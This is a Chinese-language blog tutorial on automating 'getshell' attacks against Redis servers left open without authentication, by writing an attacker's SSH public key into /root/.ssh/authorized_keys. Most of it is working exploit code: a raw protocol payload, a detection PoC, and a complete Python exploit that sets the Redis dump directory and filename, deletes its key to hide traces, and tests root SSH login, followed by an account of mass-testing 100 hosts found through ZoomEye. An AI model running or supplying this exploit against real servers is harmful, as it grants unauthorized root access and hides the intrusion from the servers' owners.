Redis Getshell自动化实践之SSH key

不了解该漏洞建议先看这个文章 Redis 未授权访问配合 SSH key 文件利用分析

漏洞利用流程

1 生成一对用于ssh验证的密钥对
2 通过redis未授权访问漏洞,向redis插入一条记录,内容为已生成的公钥
3 通过redis数据导出功能,将含有公钥的数据导出到/root/.ssh/authorized_keys
4 使用自己的主机,通过ssh私钥与受害机进行匹配并登入

自动化的限制

用exp做自动化getshell的限制主要有以下几点:
1 以root用户运行Redis,且未设置安全策略
2 Linux,port 22,且无防火墙
3 ssh配置支持该登录方式

编写exp

协议分析及Payload构造

发送一条info命令

xy@kali:~$ redis-cli -h 42.62.xxx.xxx 
42.62.xxx.xxx:6379> info
# Server
redis_version:3.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:738a2bf67b2f8a28
redis_mode:standalone

使用wireshark抓包分析协议格式 poc1 构造出payload

payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'

这样就能检测出未授权访问漏洞了, 例如这个Seebug提供的PoC:

def _verify(self):
        result = {}
        payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
        s = socket.socket()
        socket.setdefaulttimeout(10)
        try:
            host = urlparse.urlparse(self.url).netloc
            port = 6379
            s.connect((host, port))
            s.send(payload)
            recvdata = s.recv(1024)
            if recvdata and 'redis_version' in recvdata:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                result['VerifyInfo']['Port'] = port
        except:
            pass
        s.close()
        return self.parse_attack(result)

我们可以仿造这个思路编写exp,只需要抓取->分析->按规则构造各个必要的请求包,并判断返回字段,像这样: poc2

利用Python-redis库

这就比较简单了.

首先判断是否存在未授权访问漏洞

r = redis.Redis(host=ip, port=port, db=0)
if 'redis_version' in r.info():

然后执行redis命令,将公钥写入目标位置

r.set(randomString(10), '\n\n' + public_key + '\n\n')
r.config_set('dir', '/root/.ssh')
r.config_set('dbfilename', 'authorized_keys')
r.save()

之前要判断目标22端口是否开放

def checkPortTcp(target, port):
    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sk.settimeout(10)
    try:
        sk.connect((target, port))
        return True
    except Exception:
        return False

最后对ssh做连接测试

def testConnect(ip, port=22):
    try:
        s = paramiko.SSHClient()
        s.load_system_host_keys()
        s.connect(ip, port, username='root', pkey=private_key, timeout=10)
        s.close()
        return True
    except Exception, e:
        if type(e) == SSHException:
            return True
        return False

完整exp代码

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# author = [email protected]
# project = https://github.com/Xyntax/POC-T

"""
redis getshell expliot (ssh authorized_keys)

"""

import redis
import paramiko
from plugin.util import host2IP
from plugin.util import randomString
from plugin.util import checkPortTcp
from paramiko.ssh_exception import SSHException

public_key = 'ssh-rsa ====='

private_key = """
-----BEGIN RSA PRIVATE KEY-----
=====
-----END RSA PRIVATE KEY-----
"""

import time


def poc(url):
    url = host2IP(url)
    ip = url.split(':')[0]
    port = int(url.split(':')[-1]) if ':' in url else 6379
    try:
        if not checkPortTcp(ip, 22):
            return False
        r = redis.Redis(host=ip, port=port, db=0)
        if 'redis_version' in r.info():
            key = randomString(10)
            r.set(key, '\n\n' + public_key + '\n\n')
            r.config_set('dir', '/root/.ssh')
            r.config_set('dbfilename', 'authorized_keys')
            r.save()
            r.delete(key)  # 清除痕迹
            r.config_set('dir', '/tmp')
            time.sleep(5)
            if testConnect(ip, 22):
                return True
    except Exception, e:
        # print e
        return False
    return False


def testConnect(ip, port=22):
    try:
        s = paramiko.SSHClient()
        s.load_system_host_keys()
        s.connect(ip, port, username='root', pkey=private_key, timeout=10)
        s.close()
        return True
    except Exception, e:
        if type(e) == SSHException:
            return True
        return False

批量检测 从ZoomEye获取100个结果并使用我们编写的脚本进行验证,效果如下 poc3 这里paramiko的ssh连接有个问题,并没有做到100%无误报.接下来可以手动测试一下是否可以登入ssh

事实上跑了一定数据之后,觉得收获不如预期,毕竟这个漏洞可以灵活的控制的因素太多.

results matching ""

    No results matching ""